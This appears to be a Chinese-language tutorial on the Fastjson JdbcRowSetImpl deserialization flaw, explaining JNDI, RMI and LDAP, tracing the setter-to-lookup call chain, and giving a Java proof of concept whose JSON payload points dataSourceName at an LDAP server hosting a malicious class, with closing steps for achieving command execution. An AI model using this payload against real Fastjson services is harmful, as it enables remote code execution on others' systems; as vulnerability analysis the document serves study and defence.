一、漏洞介绍
1.1、JdbcRowSetImpl利用链简介
我们通过@type指定系统类JdbcRowSetImpl,但是这个类并不存在命令执行的危险方法,所以要借助JNDI服务使JdbcRowSetImpl类中的lookup方法远程加载我们的恶意类来实现攻击。所以主要是利用JNDI注入达到的攻击。
1.2、JNDI、RMI、LDAP
该攻击过程设计到了JNDI、RMI、LDAP三个知识点,简明扼要地说:JNDI是官方定义的一套接口,而LDAP服务、RMI服务则是对该接口的不同实现方式。
JNDI (Java Naming and Directory Interface)
JNDI(Java命名和目录接口)是Java提供的一套API,用于访问各种命名和目录服务。
LDAP (Lightweight Directory Access Protocol)
轻量级目录访问协议。支持远程访问Java类文件。
RMI (Remote Method Invocation)
Java远程方法调用协议。支持远程访问Java类文件。
二、漏洞分析
为了更好的理解这个漏洞的触发过程,我将介绍两个板块:
JdbcRowSetImpl类接收的JSON字符串
JdbcRowSetImpl类的lookup()方法触发
2.1、JdbcRowSetImpl类接收的JSON字符串
import com.alibaba.fastjson.JSON;
public class vul_JdbcRowSetImpl {
public static void main(String[] args) {
String s = "{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"ldap://127.0.0.1:8085/badClass\", \"autoCommit\":false}";
JSON.parse(s);
}
}
这里的JSON字符串中包含了如下信息:
{
@type:com.sun.rowset.JdbcRowSetImpl,
dataSourceName:ldap://127.0.0.1:8085/badClass,
autoCommit:false
}
@type:指定要将JSON字符串解析的模版类
dataSourceName:远程加载的位置,协议:ldap和rmi均可
autoCommit:布尔值,指定的类需要接收处理两个参数
2.2、JdbcRowSetImpl类的lookup()方法触发
通过Json字符串 ————反序列化————>Java对象这个过程,指定的的JdbcRowSetImpl类的
setDataSourceName方法会被触发,并且调用父类的setDataSourceName方法
走进JdbcRowSetImpl类的父类BaseRowSet类,发现该方法就是普通的赋值操作,将我们传递的JSON字符串赋值给dataSource
接着JdbcRowSetImpl类会调用另一个setter方法setAutoCommit,其需要接收一个bool值,但最主要的是该setter方法会调用connect方法
走进connect方法发现其中通过lookup(getDataSourceName())的形式远程加载Java类,并且这个getDataSourceName()所对应的值就是前面的dataSource,也就是远程加载的恶意类位置
三、漏洞实现
在本地编写java主程序模拟客户端
利用yakit的反向连接功能生成存放恶意类的服务器
ldap和rmi服务均可
注意替换地址的准确性,实现命令执行